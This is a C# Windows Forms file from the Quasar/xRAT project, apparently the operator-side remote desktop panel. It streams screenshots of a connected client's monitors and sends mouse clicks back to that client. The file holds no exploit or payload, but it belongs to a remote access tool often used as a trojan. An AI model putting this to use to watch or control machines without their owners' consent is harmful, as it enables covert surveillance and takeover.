Quasar/Server/Forms/FrmRemoteDesktop.cs

using System;
using System.CodeDom;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using xServer.Core;

namespace xServer.Forms
{
    public partial class FrmRemoteDesktop : Form
    {
        private readonly Client _connectClient;
        private bool _keepRunning;
        private bool _enableMouseInput;

        public FrmRemoteDesktop(Client c)
        {
            _connectClient = c;
            _connectClient.Value.FrmRdp = this;
            _keepRunning = false;
            _enableMouseInput = false;
            InitializeComponent();
        }

        private void FrmRemoteDesktop_Load(object sender, EventArgs e)
        {
            this.Text = string.Format("xRAT 2.0 - Remote Desktop [{0}:{1}]", _connectClient.EndPoint.Address.ToString(),
                _connectClient.EndPoint.Port.ToString());

            panelTop.Left = (this.Width/2) - (panelTop.Width/2);

            btnHide.Left = (panelTop.Width/2) - (btnHide.Width/2);

            btnShow.Location = new System.Drawing.Point(377, 0);
            btnShow.Left = (this.Width/2) - (btnShow.Width/2);

            if (_connectClient.Value != null)
                new Core.Packets.ServerPackets.Monitors().Execute(_connectClient);
        }

        private void GetDesktop()
        {
            _keepRunning = true;

            while (_keepRunning)
            {
                try
                {
                    this.Invoke((MethodInvoker) delegate
                    {
                        btnStart.Enabled = false;
                        btnStop.Enabled = true;
                        barQuality.Enabled = false;
                    });

                    if (_connectClient.Value != null)
                    {
                        if (_connectClient.Value.LastDesktopSeen)
                        {
                            int quality = 1;
                            int selectedMonitorIndex = 0;
                            this.Invoke((MethodInvoker) delegate
                            {
                                quality = barQuality.Value;
                                selectedMonitorIndex = cbMonitors.SelectedIndex;
                            });

                            new Core.Packets.ServerPackets.Desktop(quality, selectedMonitorIndex).Execute(_connectClient);
                            _connectClient.Value.LastDesktopSeen = false;
                        }
                    }
                    Thread.Sleep(100);
                }
                catch
                {
                }
            }

            try
            {
                this.Invoke((MethodInvoker) delegate
                {
                    btnStart.Enabled = true;
                    btnStop.Enabled = false;
                    barQuality.Enabled = true;
                });
            }
            catch
            {
            }

            _keepRunning = false;
        }

        public void AddMonitors(int montiors)
        {
            try
            {
                cbMonitors.Invoke((MethodInvoker) delegate
                {
                    for (int i = 0; i < montiors; i++)
                        cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1));
                    cbMonitors.SelectedIndex = 0;
                });
            }
            catch (InvalidOperationException)
            {
            }
            catch (Exception ex)
            {
                MessageBox.Show(
                    string.Format(
                        "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
                        ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        public void UpdateImage(Bitmap bmp)
        {
            try
            {
                picDesktop.Invoke((MethodInvoker) delegate
                {
                    picDesktop.Image = bmp;
                });
            }
            catch (InvalidOperationException)
            {
            }
            catch (Exception ex)
            {
                MessageBox.Show(
                    string.Format(
                        "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
                        ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e)
        {
            _keepRunning = false;
            if (_connectClient.Value != null)
                _connectClient.Value.FrmRdp = null;
        }

        private void FrmRemoteDesktop_Resize(object sender, EventArgs e)
        {
            panelTop.Left = (this.Width/2) - (panelTop.Width/2);
            btnShow.Left = (this.Width/2) - (btnShow.Width/2);
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if (cbMonitors.Items.Count == 0)
            {
                MessageBox.Show("No monitor detected.\nPlease wait till the client sends a list with available monitors.",
                    "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            if (!_keepRunning)
                new Thread(GetDesktop).Start();
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            _keepRunning = false;
        }

        private void barQuality_Scroll(object sender, EventArgs e)
        {
            int value = barQuality.Value;
            lblQualityShow.Text = value.ToString();

            if (value < 25)
                lblQualityShow.Text += " (low)";
            else if (value >= 85)
                lblQualityShow.Text += " (best)";
            else if (value >= 75)
                lblQualityShow.Text += " (high)";
            else if (value >= 25)
                lblQualityShow.Text += " (mid)";
        }

        private void btnMouse_Click(object sender, EventArgs e)
        {
            if (_enableMouseInput)
            {
                this.picDesktop.Cursor = Cursors.Default;
                btnMouse.Image = Properties.Resources.mouse_delete;
                _enableMouseInput = false;
            }
            else
            {
                this.picDesktop.Cursor = Cursors.Hand;
                btnMouse.Image = Properties.Resources.mouse_add;
                _enableMouseInput = true;
            }
        }

        private void picDesktop_MouseClick(object sender, MouseEventArgs e)
        {
            if (picDesktop.Image != null && _enableMouseInput)
            {
                int local_x = e.X;
                int local_y = e.Y;

                int remote_x = local_x*picDesktop.Image.Width/picDesktop.Width;
                int remote_y = local_y*picDesktop.Image.Height/picDesktop.Height;

                bool left = (e.Button == MouseButtons.Left);

                int selectedMonitorIndex = cbMonitors.SelectedIndex;

                if (_connectClient != null)
                    new Core.Packets.ServerPackets.MouseClick(left, false, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient);
            }
        }

        private void picDesktop_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            if (picDesktop.Image != null && _enableMouseInput)
            {
                int local_x = e.X;
                int local_y = e.Y;

                int remote_x = local_x*picDesktop.Image.Width/picDesktop.Width;
                int remote_y = local_y*picDesktop.Image.Height/picDesktop.Height;

                bool left = (e.Button == MouseButtons.Left);

                int selectedMonitorIndex = cbMonitors.SelectedIndex;

                if (_connectClient != null)
                    new Core.Packets.ServerPackets.MouseClick(left, true, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient);
            }
        }

        private void btnHide_Click(object sender, EventArgs e)
        {
            panelTop.Visible = false;
            btnShow.Visible = true;
            btnHide.Visible = false;
        }

        private void btnShow_Click(object sender, EventArgs e)
        {
            panelTop.Visible = true;
            btnShow.Visible = false;
            btnHide.Visible = true;
        }
    }
}